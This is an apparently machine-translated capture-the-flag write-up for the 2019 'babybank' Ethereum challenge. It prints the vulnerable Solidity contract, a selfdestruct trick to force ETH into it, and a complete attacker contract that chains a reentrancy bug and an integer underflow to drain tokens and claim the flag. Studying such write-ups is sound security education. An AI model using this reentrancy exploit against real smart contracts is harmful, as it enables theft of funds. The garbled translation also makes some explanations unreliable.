2019 Strong Net Cup babybank wp and Analysis

Foreword

2019 strong intelligent network CTF Cup title --babybank wp contract and Analysis

 

ps: This article was first written on my new blog, the back will give priority to the new blog, come see mood will sync article

analysis

Decompile

Use OnlineSolidityDecompiler of reverse contract, contract acquisition source pseudocode

 

 

 

For additional master's analysis, posted the source code after the landscaping contract

pragma solidity ^0.4.23;
​
contract babybank {
    // 0xe3d670d7 0
    mapping(address => uint) public balance;
    // 0xd41b6db6 1
    mapping(address => uint) public level;
    // 2
    address owner;
    // 3
    uint secret;
​
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
​
    constructor()public{
        owner = msg.sender;
    }
​
    //0x8c0320de
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
​
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
​
    //0x2e1a7d4d
    function withdraw(uint256 amount) public {
        require(amount == 2);
        require(amount <= balance[msg.sender]);
        // 重入漏洞
        address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
        // 整形下溢出
        balance[msg.sender] -= amount;
    }
​
    //0x66d16cc3
    function profit() public {
        require(level[msg.sender] == 0);
        require(msg.sender & 0xffff == 0xb1b1);
​
        balance[msg.sender] += 1;
        level[msg.sender] += 1;
    }
​
    // 0xa5e9585f
    function xxx(uint256 number) public onlyOwner {
        secret = number;
    }
​
    // 0x9189fec1
    function guess(uint256 number) public {
        require(number == secret);
        require(level[msg.sender] == 1);
​
        balance[msg.sender] += 1;
        level[msg.sender] += 1;
    }
​
    // 0xa9059cbb
    function transfer(address to, uint256 amount) public {
        require(balance[msg.sender] >= amount);
        require(amount == 2);
        require(level[msg.sender] == 2);
​
        balance[msg.sender] = 0;
        balance[to] = amount;
    }
}

 

ETH given contract

The initial contract without ETH state, unable to perform the operation, so the need to address to make contracts have a certain amount of ETH

The contract is not related to the code can be transferred to the operating ETH, it can only make the implementation of self-destruction ETH forcibly transferred by contract addresses into the ETH

 

Construct self-destruct function kill

function kill() public payable {
    selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
}

0.2ETH using the kill function into self destruction , forced into 0.2ETH to contract

 

Bypassing the use of analysis

Initiating contract sendflagrequires more than 10000000000a token

The withdrawfunction exists reentrant vulnerabilities and integer underflow

 

But limits can only 2token withdrawals and withdrawals by account token must be greater than or equal to 2

Let's look at how to increase the token

 

Only token increase function profitand guesstwo functions

profitVerify function lower 4 bits of the address 0xb1b1; and only in the initial state i.e. level=0when the call time, call time after levellifting 1, balance+1

guessFunction verification secretvalue, while the secretvalue of the contract can only be called by the owner of xxxthe function given; and the need level=1, called once after levelupgrade to 2, balance+1

 

Then the function call flow came out first profit()and thenguess()

profitBypass function, by vanity eth obtaining a qualifying address

guessBypass, secret value of the function can be found in the contract transaction information

 

The last transaction in the event the contract deployer, InputDatafunction selector, the first four bytes 0xa5e9585ffor the xxxfunction function signature, its argument is to deploy invokes xxxthe function argument passed, that is, secretthe value of

 

 

 

So far, through the profit, guessto meet withdrawthe conditions for withdrawal

Since the withdrawfunction exists and reentrancy overflow vulnerability

Construction contracts attacks, the use of re-entry and overflow vulnerability can reap huge tokens, and initiate payforflagoperation

pragma solidity ^0.4.24;
​
interface BabybankInterface {
    function withdraw(uint256 amount) external;
    function profit() external;
    function guess(uint256 number) external;
    function transfer(address to, uint256 amount) external;
    function payforflag(string md5ofteamtoken, string b64email) external;
}
​
contract attacker {
​
    BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
​
    uint private flag = 0;
​
    function exploit() public payable {
        target.profit();
        target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
        target.withdraw(2);
        target.payforflag("hunya", "hunya");
    }
​
    function() external payable {
        require (flag == 0);
        flag = 1;
        target.withdraw(2);
    }
}

 

 

Contract transaction can be seen in a series of operations, the last of a transaction is the contract of ETH all withdrawals to contract the owner of the address, it should be emptied at ETH to make a person do question contracts and from state started 0ETH

 

View event log, there are sendflagevents

 

 

 

reference

https://zhuanlan.zhihu.com/p/67205187

https://xz.aliyun.com/t/5281

 

Guess you like

Origin www.cnblogs.com/hun-ya/p/11414542.html